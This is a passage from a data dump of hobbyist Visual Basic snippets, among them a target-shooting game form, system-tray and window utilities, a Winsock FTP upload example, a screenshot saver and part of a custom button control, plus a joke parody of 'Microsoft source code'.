Begin VB.CommandButton cmdStart \n Caption = \"&Start\"\n Height = 375\n Left = 120\n TabIndex = 3\n Top = 2760\n Width = 855\n End\n Begin VB.CommandButton cmdExit \n Caption = \"&Exit\"\n Height = 375\n Left = 3720\n TabIndex = 2\n Top = 2760\n Width = 855\n End\n Begin VB.PictureBox Picture2 \n Appearance = 0 'Flat\n BackColor = &H80000004&\n BorderStyle = 0 'None\n ForeColor = &H80000008&\n Height = 495\n Left = 480\n ScaleHeight = 495\n ScaleWidth = 495\n TabIndex = 1\n Top = 2040\n Visible = 0 'False\n Width = 495\n End\n Begin VB.PictureBox Picture1 \n BackColor = &H008080FF&\n BorderStyle = 0 'None\n Height = 495\n Left = 1920\n ScaleHeight = 495\n ScaleWidth = 495\n TabIndex = 0\n Top = 1320\n Width = 495\n End\n Begin VB.Timer Timer1 \n Interval = 1\n Left = 480\n Top = 240\n End\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nOption Explicit\nDim DeltaX\nDim DeltaY\nDim gTimerSpeed\nDim gGameOn As Boolean\nDim gHit As Boolean\nDim gSeconds\nDim gShots\nDim gTime\nPrivate Sub cmdExit_Click()\nUnload Form1\nEnd Sub\nPrivate Sub cmdReset_Click()\nPicture1.Picture = Picture3.Picture\nScreen.MousePointer = vbCrosshair\nTimer1.Interval = 0\nDeltaX = 100 ' Initialize variables.\nDeltaY = 100\ncmdStart.Visible = True\ncmdExit.Visible = True\ncmdReset.Visible = False\nEnd Sub\nPrivate Sub cmdStart_Click()\nPicture1.Picture = Picture3.Picture\nScreen.MousePointer = vbCrosshair\nTimer1.Interval = 1\ngTimerSpeed = 1\nDeltaX = 100 ' Initialize variables.\nDeltaY = 100\ncmdReset.Visible = False\ncmdStart.Visible = False\ncmdExit.Visible = False\ngHit = False\ngShots = 0\ngGameOn = True\ngTime = 0\ntmrSeconds.Interval = 1000\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\ngShots = gShots + 1\nEnd Sub\n\nPrivate Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nIf gGameOn = True Then\n Timer1.Interval = 0\n Picture1.Picture = Picture2.Picture\n Screen.MousePointer = Default\n cmdReset.Visible = True\n cmdExit.Visible = True\n gHit = True\n If gShots = 0 Then\n MsgBox \"It took you \" & gShots + 1 & \" shot and \" & gTime & \" seconds to kill him!\"\n ElseIf gShots > 0 Then\n MsgBox \"It took you \" & gShots + 1 & \" shots and \" & gTime & \" seconds to kill him!\"\n End If\n gGameOn = False\n tmrSeconds.Interval = 0\n Exit Sub\nElseIf gGameOn = False Then\n Exit Sub\nEnd If\nEnd Sub\nPrivate Sub Timer1_Timer()\nIf gHit = True Then\n Timer1.Interval = 0\n Exit Sub\nEnd If\nIf gTimerSpeed < 50 Then gTimerSpeed = gTimerSpeed + 1\nTimer1.Interval = gTimerSpeed\n Picture1.Move Picture1.Left + DeltaX, Picture1.Top + DeltaY\n If Picture1.Left < ScaleLeft Then DeltaX = 100\n If Picture1.Left + Picture1.Width > ScaleWidth + ScaleLeft Then\n DeltaX = -100\n End If\n If Picture1.Top < ScaleTop Then DeltaY = 100\n If Picture1.Top + Picture1.Height > ScaleHeight + ScaleTop Then\n DeltaY = -100\n End If\nEnd Sub\nPrivate Sub tmrSeconds_Timer()\ngTime = gTime + 1\nEnd Sub\n\n"},{"WorldId":1,"id":1573,"LineNumber":1,"line":"Public Sub NoResizeForm()\nDim hMenu As Long\n Const SC_SIZE = &HF000\n Const MF_BYCOMMAND = &H0\n hMenu = GetSystemMenu(hwnd, 0)\n Call DeleteMenu(hMenu, SC_SIZE, MF_BYCOMMAND)\nEnd Sub"},{"WorldId":1,"id":1574,"LineNumber":1,"line":"Public Function addQuotes(ByVal str As String) As String\n addQuotes = Chr(34) & str & Chr(34)\nEnd Function\n"},{"WorldId":1,"id":1576,"LineNumber":1,"line":"Public Function CheckKeyPress(iKeyIn As Integer, cAllowed As String) As Integer\n Dim cValidKeys As String\n Select Case cAllowed\n Case \"N\" ' Just numbers\n cValidKeys = \"1234567890\" & vbCr & vbTab & vbBack\n Case \"N1\" ' Decimal numbers\n cValidKeys = \"1234567890,\" & vbCr & vbTab & vbBack\n Case \"N2\" ' Simple math\n cValidKeys = \"1234567890+-*/=,\" & vbCr & vbTab & vbBack\n Case \"C\" ' Simple characterset(I'm Swedish, hence some strange ones)\n cValidKeys = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ├à├ä├ûAA├ëE├£I- \" & vbCr & vbTab & vbBack\n Case \"C1\" ' Enhanced characterset\n cValidKeys = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ├à├ä├ûAA├ëE├£I&#,.-/\\+-*%$<>:;@!?=() \" & vbCr & vbTab & vbBack\n Case \"C2\" ' Enhanced + digits\n cValidKeys = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ├à├ä├ûAA├ëE├£I1234567890┬╜&#,.-/\\+-*%$<>:;@!?=() \" & vbCr & vbTab & vbBack\n Case \"M\" ' Mail and WWW\n cValidKeys = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_/\\~:@.\" & vbCr & vbTab & vbBack\n Case \"D\" ' Date or telephonenumbers\n cValidKeys = \"0123456789-\" & vbCr & vbTab & vbBack\n End Select\n If InStr(cValidKeys, UCase(Chr(iKeyIn))) Then\n CheckKeyPress = iKeyIn\n Else\n Beep\n CheckKeyPress = 0\n End If\nEnd Function"},{"WorldId":1,"id":1577,"LineNumber":1,"line":"'First create a form with a menu item listing 3 sub menus. mnuExit, mnuMinUpload and mnuResUpload.\nOption Explicit\nDim Tic As NOTIFYICONDATA\nPrivate Sub Form_Activate()\n Dim TimeDelay&\n \n Label2.Caption = \"v\" & App.Major & \".\" & App.Minor & \".\" & App.Revision & \" \" & Label2.Caption\n \n TimeDelay = Timer + 3\n While Timer <= TimeDelay\n DoEvents\n Wend\n Me.Hide\n mnuSystemTray.Visible = True\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'Event occurs when the mouse pointer is within the rectangular\n 'boundaries of the icon in the taskbar status area.\n Dim msg As Long\n Dim sFilter As String\n \n msg = X / Screen.TwipsPerPixelX\n Select Case msg\n Case WM_LBUTTONDBLCLK\n mnuMinUpload_Click\n Case WM_RBUTTONUP\n PopupMenu mnuSystemTray, , , , mnuMinUpload\n End Select\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Shell_NotifyIcon NIM_DELETE, Tic\nEnd Sub\nPrivate Sub Form_Load()\n If App.PrevInstance Then End\n Dim rc As Long\n \n Tic.cbSize = Len(Tic)\n Tic.hwnd = Me.hwnd\n Tic.uID = vbNull\n Tic.uFlags = NIF_DOALL\n Tic.uCallbackMessage = WM_MOUSEMOVE\n Tic.hIcon = Me.Icon\n Tic.sTip = \"AOL Upload Minimizer\" & vbNullChar\n \n rc = Shell_NotifyIcon(NIM_ADD, Tic)\nEnd Sub\nPrivate Sub mnuExit_Click()\n End\nEnd Sub\nPrivate Sub mnuResUpload_Click()\n Dim AOL As Long\n Dim AOModal As Long\n Dim AOGauge As Long\n \n AOL = FindWindow(\"AOL Frame25\", vbNullString)\n AOModal = FindWindow(\"_AOL_Modal\", vbNullString)\n AOGauge = FindChildByClass(AOModal, \"_AOL_Gauge\")\n \n If AOGauge <> 0 Then\n EnableWindow AOL, 1\n ShowWindow AOModal, SW_RESTORE\n End If\nEnd Sub\nPrivate Sub mnuMinUpload_Click()\n Dim AOL As Long\n Dim AOModal As Long\n Dim AOGauge As Long\n \n AOL = FindWindow(\"AOL Frame25\", vbNullString)\n AOModal = FindWindow(\"_AOL_Modal\", vbNullString)\n AOGauge = FindChildByClass(AOModal, \"_AOL_Gauge\")\n \n If AOGauge <> 0 Then\n EnableWindow AOL, 1\n ShowWindow AOModal, SW_MINIMIZE\n End If\nEnd Sub\nPrivate Function FindChildByClass(Parent&, Child$) As Integer\n Dim ChildFocus%, Buffer$, ClassBuffer%\n \n ChildFocus% = GetWindow(Parent, 5)\n While ChildFocus%\n Buffer$ = String$(250, 0)\n ClassBuffer% = GetClassName(ChildFocus%, Buffer$, 250)\n If InStr(UCase(Buffer$), UCase(Child)) Then\n FindChildByClass = ChildFocus%\n Exit Function\n End If\n ChildFocus% = GetWindow(ChildFocus%, 2)\n Wend\nEnd Function\n"},{"WorldId":1,"id":1580,"LineNumber":1,"line":"/*\n TOP SECRET Microsoft(c) Code \n Project: Chicago(tm)\n Projected release-date: Summer 1994 \n */\n \n #include \"win31.h\"\n #include \"win95.h\"\n #include \"evenmore.h\"\n #include \"oldstuff.h\"\n #include \"billrulz.h\"\n #define INSTALL = HARD\n \n char make_prog_look_big[1600000]; \n \n void main()\n {\n while(!CRASHED)\n {\n display_copyright_message(); \n display_bill_rules_message(); \n do_nothing_loop();\n \n if (first_time_installation) \n {\n make_50_megabyte_swapfile(); \n do_nothing_loop();\n totally_screw_up_HPFS_file_system(); \n search_and_destroy_the_rest_of_OS/2(); \n hang_system();\n }\n \n write_something(anything); \n display_copyright_message(); \n do_nothing_loop();\n do_some_stuff();\n \n if (still_not_crashed) \n {\n display_copyright_message(); \n do_nothing_loop();\n basically_run_windows_3.1(); \n do_nothing_loop();\n do_nothing_loop(); \n }\n }\n \n if (detect_cache())\n disable_cache();\n \n if (fast_cpu())\n {\n set_wait_states(lots);\n set_mouse(speed, very_slow); \n set_mouse(action, jumpy);\n set_mouse(reaction, sometimes); \n }\n \n /* printf(\"Welcome to Windows 3.11\"); */ \n /* printf(\"Welcome to Windows 95\"); */ \n \n printf(\"Welcome to Windows 98\"); \n \n if (system_ok())\n crash(to_dos_prompt);\n else\n system_memory = open(\"a:\\swp0001.swp\", O_CREATE); \n \n while(something)\n {\n sleep(5);\n get_user_input(); \n sleep(5);\n act_on_user_input(); \n sleep(5);\n }\n \n create_general_protection_fault();"},{"WorldId":1,"id":1582,"LineNumber":1,"line":"\nPrivate Sub Form_Load()\n' Project Topic:\n' \"Add Menu to System Tray Icon\"\n' For VB5.0 and better....\n' Created by opus@bargainbd.com\n' Original source is unknown\n' Before you begin!\n' Make sure your form is in view within Visual Basic,\n' then press Ctrl+E to open the Menu Editor.\n' Next create a Main Menu item and make it's name\n' property \"mnu_1\", without the quotes. You can\n' always change this name, but make sure that you\n' change it in the Form_MouseMove too. Now create a\n' few sub menus under the main menu\n' and name them anything that you want,\n' the code will take care of the rest.\n' \"TIP: Make the \"mnu_1\" visible property = False\n' Then create a second Main menu item with sub menus\n' as normal (This will appear to look as though\n' it is the first menu item. The Actual First\n' will be seen in the System tray when clicked with\n' the right mouse button.\n \n \n\n\n' *---The code begins here---*\n'The form must be fully visible before calling Shell_NotifyIcon\nMe.Show\nMe.Refresh\n \nWith nid\n .cbSize = Len(nid)\n .hwnd = Me.hwnd\n .uId = vbNull\n .uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE\n .uCallBackMessage = WM_MOUSEMOVE\n .hIcon = Me.Icon\n .szTip = \" Click Right Mouse Button \" & vbNullChar\nEnd With\nShell_NotifyIcon NIM_ADD, nid\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n'This procedure receives the callbacks from the System Tray icon.\nDim Result As Long\nDim msg As Long\n'The value of X will vary depending upon the scalemode setting\nIf Me.ScaleMode = vbPixels Then\n msg = X\nElse\n msg = X / Screen.TwipsPerPixelX\nEnd If\n Select Case msg\n Case WM_LBUTTONUP '514 restore form window\n Me.WindowState = vbNormal\n Result = SetForegroundWindow(Me.hwnd)\n Me.Show\n Case WM_LBUTTONDBLCLK '515 restore form window\n Me.WindowState = vbNormal\n Result = SetForegroundWindow(Me.hwnd)\n Me.Show\n Case WM_RBUTTONUP '517 display popup menu\n Result = SetForegroundWindow(Me.hwnd)\n'***** STOP! and make sure that your first menu item\n' is named \"mnu_1\", otherwise you will get an erro below!!! *******\n Me.PopupMenu Me.mnu_1\n End Select\nEnd Sub\nPrivate Sub Form_Resize()\n 'this is necessary to assure that the minimized window is hidden\n If Me.WindowState = vbMinimized Then Me.Hide\nEnd Sub\n\nPrivate Sub Form_Unload(Cancel As Integer)\n 'this removes the icon from the system tray\n Shell_NotifyIcon NIM_DELETE, nid\nEnd Sub\n\nPrivate Sub mPopExit_Click()\n 'called when user clicks the popup menu Exit command\n Unload Me\nEnd Sub\n\nPrivate Sub mPopRestore_Click()\n 'called when the user clicks the popup menu Restore command\n Me.WindowState = vbNormal\n Result = SetForegroundWindow(Me.hwnd)\n Me.Show\nEnd Sub\n\n"},{"WorldId":1,"id":1589,"LineNumber":1,"line":"'Example to use this function\n' MsgBox \" Notepad's Version is \" & CheckFileVersion(\"C:\\Windows\\Notepad.exe\")\nPublic Function CheckFileVersion(FilenameAndPath As Variant) As Variant\nOn Error GoTo HandelCheckFileVersionError\n Dim lDummy As Long, lsize As Long, rc As Long\n Dim lVerbufferLen As Long, lVerPointer As Long\n Dim sBuffer() As Byte\n Dim udtVerBuffer As VS_FIXEDFILEINFO\n Dim ProdVer As String\n \n lsize = GetFileVersionInfoSize(FilenameAndPath, lDummy)\n If lsize < 1 Then Exit Function\n \n ReDim sBuffer(lsize)\n rc = GetFileVersionInfo(FilenameAndPath, 0&, lsize, sBuffer(0))\n rc = VerQueryValue(sBuffer(0), \"\\\", lVerPointer, lVerbufferLen)\n MoveMemory udtVerBuffer, lVerPointer, Len(udtVerBuffer)\n \n '**** Determine Product Version number ****\n ProdVer = Format$(udtVerBuffer.dwProductVersionMSh) & \".\" & Format$(udtVerBuffer.dwProductVersionMSl)\n CheckFileVersion = ProdVer\n \n Exit Function\nHandelCheckFileVersionError:\n CheckFileVersion = \"N/A\"\n Exit Function\nEnd Function\n"},{"WorldId":1,"id":1602,"LineNumber":1,"line":"''for loop adds all font types in computer to combo box\n fType.Clear ''clears combo box\n For i = 0 To Screen.FontCount - 1 ''counts # of fonts\n fType.AddItem Screen.Fonts(i) ''adds font to combo box\n Next i"},{"WorldId":1,"id":1606,"LineNumber":1,"line":"'Ok, now just Copy and Paste everything here into the Form1..not in the Bas!\n'<Start Copying>\nPrivate Sub Command1_Click()\n 'flip horizontal\n Picture2.Cls\n px% = Picture1.ScaleWidth\n py% = Picture1.ScaleHeight\n retval% = StretchBlt(Picture2.hdc, px%, 0, -px%, py%, Picture1.hdc, 0, 0, px%, py%, SRCCOPY)\nEnd Sub\nPrivate Sub Command2_Click()\n 'flip vertical\n Picture2.Cls\n px% = Picture1.ScaleWidth\n py% = Picture1.ScaleHeight\n retval% = StretchBlt(Picture2.hdc, 0, py%, px%, -py%, Picture1.hdc, 0, 0, px%, py%, SRCCOPY)\nEnd Sub\nPrivate Sub Command3_Click()\n 'rotate 45 degrees\n Picture2.Cls\n Call bmp_rotate(Picture1, Picture2, 3.14 / 4)\nEnd Sub\nPrivate Sub Form_Load()\nCommand1.Caption = \"Flip Horizontal\"\nCommand2.Caption = \"Flip Vertical\"\nCommand3.Caption = \"Rotate 45 Degrees\"\n Picture1.ScaleMode = 3\n Picture2.ScaleMode = 3\nEnd Sub\n'<Stop Copying...END>\n"},{"WorldId":1,"id":1607,"LineNumber":1,"line":"Public Function SQLDate(ConvertDate As Date) As String\n SQLDate = Format(ConvertDate, \"mm/dd/yyyy\")\nEnd Function"},{"WorldId":1,"id":1612,"LineNumber":1,"line":"Dim x1 As Long\nDim x2 As Long\nDim last As String\nPrivate Sub Command1_Click()\nWinsock2.RemoteHost = \"\" 'Enter Server here\nWinsock2.RemotePort = 21 ' Usually the port is 21, but if it's different, enter it here\nWinsock2.Connect\nDo Until Winsock2.State = sckConnected ' Wait until connected\nDoEvents\nDebug.Print Winsock2.State\nLoop\nWinsock2.SendData \"USER \" & vbCrLf 'Enter username behind USER\nlast = \"\"\nDo Until last <> \"\" 'Wait until server responds\nDoEvents\nLoop\nWinsock2.SendData \"PASS \" & vbCrLf 'Enter password behind PASS\nlast = \"\"\nDo Until last <> \"\" 'Wait until server responds\nDoEvents\nLoop\nRandomize\nx1 = Int(10 * Rnd + 1) ' Find two random numbers to specify port the server connects to\nRandomize\nx2 = Int(41 * Rnd + 10)\n\nDim ip As String\nip = Winsock2.LocalIP\nDo Until InStr(ip, \".\") = 0 ' replace every \".\" in IP with a \",\"\n ip = Mid(ip, 1, InStr(ip, \".\") - 1) & \",\" & Mid(ip, InStr(ip, \".\") + 1)\nLoop\nWinsock2.SendData \"PORT \" & ip & \",\" & Trim(Str(x1)) & \",\" & Trim(Str(x2)) & vbCrLf 'Tell the server with which IP he has to connect and with which port\n\nlast = \"\"\nDo Until last <> \"\" 'Wait until server responds\nDoEvents\nLoop\nWinsock1.Close\nWinsock1.LocalPort = x1 * 256 Or x2 ' Set port of second winsock-control to the port the server will connect to\n' x1 is the most-significant byte of the port number, x1 is the least significant byte. To find the port, you have to move every bit 8 places to the right (or multiply with 256). Then compare every bit with the bits of x2, using OR\nWinsock1.Listen 'Listen for the FTP-Server to connect\nWinsock2.SendData \"STOR ich.html\" & vbCrLf 'Store a file, with RETR you can get a file, with LIST you get a list of all file on the server, all this information is sent through the data-connection (to change directory use CWD)\nDo Until Winsock1.State = sckConnected 'Wait until the FTP-Server connects\nDoEvents\nLoop\nPause 1 'wait a little bit, because the server needs a moment (don't know how, but it only works so)\nWinsock1.SendData \"TEST\" 'Send some data, the FTP-Server will store it in the file. Send only ASCII data, if you send Binary you have to tell it the server before, use TYPE to do this\nPause 1\nWinsock1.Close ' Close data-connection\nPause 1\nWinsock2.Close 'You don't have to close the connection here, you also can transfer another file\n\nEnd Sub\nPublic Sub Pause(Seconds)\nDim Zeit As Long\nZeit = Timer\nDo\nDoEvents\nLoop Until Zeit + Seconds <= Timer\nEnd Sub\nPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)\nWinsock1.Close\nWinsock1.Accept requestID\nEnd Sub\n\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim data As String\nWinsock1.GetData data\nDebug.Print data\nWinsock1.Close ' You have to close the connection after the Server had send you data, he will establish it again, when he sends more\nWinsock1.Listen\nEnd Sub\n\nPrivate Sub Winsock2_DataArrival(ByVal bytesTotal As Long)\nDim data As String\nWinsock2.GetData data\nDebug.Print data\nlast = data 'Store data\nEnd Sub"},{"WorldId":1,"id":1617,"LineNumber":1,"line":"'1, Declararion\n' This should be in the form's General Declaration Area. If you declare in a Modeule,\n' you need to omit the word \"private\"\nPrivate Declare Function CreateRoundRectRgn Lib \"gdi32\" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long) As Long\nPrivate Declare Function CreateRectRgn Lib \"gdi32\" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\nPrivate Declare Function CreateEllipticRgn Lib \"gdi32\" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\nPrivate Declare Function CombineRgn Lib \"gdi32\" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long\nPrivate Declare Function SetWindowRgn Lib \"user32\" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long\n \n \n'2 The Function\n' This should be in the form's code. \nPrivate Function fMakeATranspArea(AreaType As String, pCordinate() As Long) As Boolean\n'Name: fMakeATranpArea\n'Author: Dalin Nie\n'Date: 5/18/98\n'Purpose: Create a Transprarent Area in a form so that you can see through\n'Input: Areatype : a String indicate what kind of hole shape it would like to make\n' PCordinate : the cordinate area needed for create the shape:\n' Example: X1, Y1, X2, Y2 for Rectangle\n'OutPut: A boolean\nConst RGN_DIFF = 4\nDim lOriginalForm As Long\nDim ltheHole As Long\nDim lNewForm As Long\nDim lFwidth As Single\nDim lFHeight As Single\nDim lborder_width As Single\nDim ltitle_height As Single\n On Error GoTo Trap\n lFwidth = ScaleX(Width, vbTwips, vbPixels)\n lFHeight = ScaleY(Height, vbTwips, vbPixels)\n lOriginalForm = CreateRectRgn(0, 0, lFwidth, lFHeight)\n \n lborder_width = (lFHeight - ScaleWidth) / 2\n ltitle_height = lFHeight - lborder_width - ScaleHeight\nSelect Case AreaType\n \n Case \"Elliptic\"\n \n ltheHole = CreateEllipticRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4))\n Case \"RectAngle\"\n \n ltheHole = CreateRectRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4))\n \n Case \"RoundRect\"\n \n ltheHole = CreateRoundRectRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4), pCordinate(5), pCordinate(6))\n Case \"Circle\"\n ltheHole = CreateRoundRectRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4), pCordinate(3), pCordinate(4))\n \n Case Else\n MsgBox \"Unknown Shape!!\"\n Exit Function\n End Select\n lNewForm = CreateRectRgn(0, 0, 0, 0)\n CombineRgn lNewForm, lOriginalForm, _\n ltheHole, RGN_DIFF\n \n SetWindowRgn hWnd, lNewForm, True\n Me.Refresh\n fMakeATranspArea = True\nExit Function\nTrap:\n MsgBox \"error Occurred. Error # \" & Err.Number & \", \" & Err.Description\nEnd Function\n \n \n' 3 How To Call \n \nDim lParam(1 To 6) As Long\nlParam(1) = 100\nlParam(2) = 100\nlParam(3) = 250\nlParam(4) = 250\nlParam(5) = 50\nlParam(6) = 50\nCall fMakeATranspArea(\"RoundRect\", lParam())\n'Call fMakeATranspArea(\"RectAngle\", lParam())\n'Call fMakeATranspArea(\"Circle\", lParam())\n'Call fMakeATranspArea(\"Elliptic\", lParam())\n"},{"WorldId":1,"id":1621,"LineNumber":1,"line":"'1: Declare\n' This should be in the form's heneral declaration area. \n' If you do it in a module, omit the word \"Private\"\nPrivate Declare Sub keybd_event Lib \"user32\" (ByVal bVk As Byte, ByVal bScan As Byte, _\n ByVal dwFlags As Long, ByVal dwExtraInfo As Long)\n'\n'2. The Function\n' You can add this to your form's code\n' or you can put it in a module if the declaration is in a module\nPublic Function fSaveGuiToFile(ByVal theFile As String) As Boolean\n' Name: fSaveGuiToFile\n' Author: Dalin Nie\n' Written: 4/2/99\n' Purpose:\n' This procedure will Capture the Screen or the active window of your Computer and Save it as \n' a .bmp file\n' Input:\n' theFile file Name with path, where you want the .bmp to be saved\n'\n' Output:\n' True if successful\n'\nDim lString As String\nOn Error goto Trap\n'Check if the File Exist\n If Dir(theFile) <> \"\" Then Exit Function\n 'To get the Entire Screen\n Call keybd_event(vbKeySnapshot, 1, 0, 0)\n 'To get the Active Window\n 'Call keybd_event(vbKeySnapshot, 0, 0, 0)\n \n SavePicture Clipboard.GetData(vbCFBitmap), theFile\nfSaveGuiToFile = True\nExit Function\nTrap:\n'Error handling\nMsgBox \"Error Occured in fSaveGuiToFile. Error #: \" & Err.Number & \", \" & Err.Description\nEnd Function\n'\n3. To call the function, add the code:\nCall fSaveGuiToFile(yourFileNAme)\n' Example: in a command1_click event add: call fSaveGuiToFile(\"C:\\Scrn_pic.bmp\")\n'When you run your app, click command1, the screen will be saved in c:\\scrn_pic.bmp.\n"},{"WorldId":1,"id":1626,"LineNumber":1,"line":"'\n' Instead of doing a very big cut and paste job, you can download this control\n' as source code, and compiled to an activex control in this zip file:\n'\n' http://users.wantree.com.au/~paulhng/files/cSFCoolbutton.zip\n'\n' Details of the properties and such are in the readme included in the zip file.\n'\n' It's 31kb, and could save a lot of headaches piecing it together again :)\n'\n' If you are unfamiliar with UserControls, or are working on a mission critical\n' application, i don't recommend you using the UserControl, unless you \n' definately know what you're doing (and can understand the code entirely).\n'\n' Note: This code comes completely unwarranted. If it does damage in any way, \n' i am not responsible. If you use this code, you agree to these terms.\n'\n' Cut and paste beginning at \"VERSION 5.00\" to the end, and save \n' it as cSFCoolButton.ctl. \n' Then load it up in VB, and everything should work fine:\n'\n'\n' Enjoy!\n' [ I hope the code formatter here doesn't screw it up too much :) ]\n\nVERSION 5.00\nBegin VB.UserControl cSfCb \n AutoRedraw = -1 'True\n ClientHeight = 1395\n ClientLeft = 0\n ClientTop = 0\n ClientWidth = 2205\n FillStyle = 0 'Solid\n BeginProperty Font \n Name = \"Arial\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n FontTransparent = 0 'False\n ForeColor = &H00FFFFFF&\n KeyPreview = -1 'True\n ScaleHeight = 93\n ScaleMode = 3 'Pixel\n ScaleWidth = 147\nEnd\nAttribute VB_Name = \"cSfCb\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = True\nAttribute VB_PredeclaredId = False\nAttribute VB_Exposed = True\n'----------------------------------------------------------\n' CoolButton control, ver 2.2\n'\n' (C) Dave Hng '99 ryuunosuke@earthcorp.com\n'\n' http://www.earthcorp.com/ryuunosuke/\n'----------------------------------------------------------\n'\n'A lot nicer with regards to system resources and CPU time,\n'using SetCapture and ReleaseCapture instead of a timer,\n'though a lot more confusing, especially the DrawBevel sub. :)\n'\n'Files for this usercontrol:\n'----------------------------------------------------------\n'cSfCoolButton.ctl\n'\n'Nothing else! Add it, and off you go!\n'\n'Known problems:\n'----------------------------------------------------------\n'Tooltips don't agree with SetCapture, it doesn't display them.\n' -Can be rectified through subclassing, but that's a lot of work.\n'Bevels are not drawn when in design mode, because i don't want to change lots of subs and functions.\n' -it works, i'm not going to break it again.. :)\n'Never name a property TextFont, it won't work for some reason.. :P\n' -Causes problems, property is never saved.. odd.\n'AutoDim doesn't work all the time\n' -Don't know why.\n'----------------------------------------------------------\n'You shouldn't need to modify anything below here...\n'(You shouldn't need to modify anything at all.. :) )\nOption Explicit\n'Constants for AutoDim.\nPrivate Const csDimPercent As Single = 0.9 'Dim to 90%\nPrivate Const csBriPercent As Single = 1.2 'Brighten to 120%\nPrivate Const cbMaxValue As Byte = 255 'Max value for a byte\n'API Declares\n'----------------------------------------------------------\nPrivate Declare Function SetCapture Lib \"user32\" (ByVal hWnd As Long) As Long\nPrivate Declare Function ReleaseCapture Lib \"user32\" () As Long\nPrivate Declare Sub Sleep Lib \"kernel32\" (ByVal dwMilliseconds As Long)\nPrivate Declare Function GetWindowRect Lib \"user32\" (ByVal hWnd As Long, lpRect As RECT) As Long\nPrivate Declare Function DrawText Lib \"user32\" Alias \"DrawTextA\" (ByVal hdc As Long, ByVal lpStr As String, ByVal nCount As Long, lpRect As RECT, ByVal wFormat As Long) As Long\nPrivate Declare Function CreateCompatibleDC Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function SelectPalette Lib \"gdi32\" (ByVal hdc As Long, ByVal hPalette As Long, ByVal bForceBackground As Long) As Long\nPrivate Declare Function RealizePalette Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function BitBlt Lib \"gdi32\" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long\nPrivate Declare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As Long) As Long\nPrivate Declare Function DeleteDC Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function GetDC Lib \"user32\" (ByVal hWnd As Long) As Long\nPrivate Declare Function ReleaseDC Lib \"user32\" (ByVal hWnd As Long, ByVal hdc As Long) As Long\nPrivate Declare Function CreateHalftonePalette Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPrivate Declare Function GetObject Lib \"gdi32\" Alias \"GetObjectA\" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long\nPrivate Declare Function TextOut Lib \"gdi32\" Alias \"TextOutA\" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long) As Long\nPrivate Declare Function SetTextAlign Lib \"gdi32\" (ByVal hdc As Long, ByVal wFlags As Long) As Long\nPrivate Declare Function SetBkMode Lib \"gdi32\" (ByVal hdc As Long, ByVal nBkMode As Long) As Long\nPrivate Declare Function CreateCompatibleBitmap Lib \"gdi32\" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long\nPrivate Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" (Destination As Any, Source As Any, ByVal Length As Long)\n'You might like to use this function instead of CreateCompatibleBitmap, if it doesn't work for some reason.\n'Private Declare Function CreateDiscardableBitmap Lib \"gdi32\" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long\nPrivate Type BITMAPINFOHEADER '40 bytes\n biSize As Long\n biWidth As Long\n biHeight As Long\n biPlanes As Integer\n biBitCount As Integer\n biCompression As Long\n biSizeImage As Long\n biXPelsPerMeter As Long\n biYPelsPerMeter As Long\n biClrUsed As Long\n biClrImportant As Long\nEnd Type\nPrivate Type RGBQUAD\n rgbBlue As Byte\n rgbGreen As Byte\n rgbRed As Byte\n rgbReserved As Byte\nEnd Type\nPrivate Type BITMAPINFO\n bmiHeader As BITMAPINFOHEADER\n bmiColors As RGBQUAD\nEnd Type\nPrivate Declare Function GetDIBits Lib \"gdi32\" (ByVal aHDC As Long, ByVal hBitmap As Long, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Any, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long\nPrivate Declare Function SetDIBits Lib \"gdi32\" 